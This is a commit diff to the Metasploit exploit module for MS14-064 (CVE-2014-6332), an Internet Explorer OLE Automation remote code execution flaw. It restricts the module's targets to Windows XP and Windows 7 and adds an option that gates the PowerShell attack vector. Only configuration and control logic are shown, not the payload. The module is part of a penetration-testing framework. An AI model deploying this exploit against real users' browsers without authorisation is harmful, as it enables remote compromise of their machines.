Land rapid7#5426, @wchen-r7's adds more restriction on Windows 7 target for MS14-064

Author: jvazquez-r7

modules/exploits/windows/browser/ms14_064_ole_code_execution.rb

@@ -19,8 +19,9 @@ def initialize(info={})
       'Name'           => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution",
       'Description'    => %q{
         This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332.
-        The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to
-        Windows 10, and there is no patch for Windows XP or older.
+        The vulnerability is known to affect Internet Explorer 3.0 until version 11 within
+        Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will
+        only target Windows XP and Windows 7 box due to the Powershell limitation.
 
         Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other
         newer Windows systems, the exploit will try using Powershell instead.
@@ -56,9 +57,9 @@ def initialize(info={})
             }
           ],
           [
-            'Other Windows x86',
+            'Windows 7',
               {
-                'os_name' => OperatingSystems::Match::WINDOWS,
+                'os_name' => OperatingSystems::Match::WINDOWS_7
               }
           ]
         ],
@@ -84,6 +85,7 @@ def initialize(info={})
       register_options(
         [
            OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]),
+           OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false])
         ], self.class )
 
   end
@@ -358,6 +360,11 @@ def get_html
   end
 
   def on_request_exploit(cli, request, target_info)
+    if get_target.name.match(OperatingSystems::Match::WINDOWS_7) && !datastore['AllowPowershellPrompt']
+      send_not_found(cli)
+      return
+    end
+
     case request.uri
     when /\.gif/
       if get_target.name =~ OperatingSystems::Match::WINDOWS_XP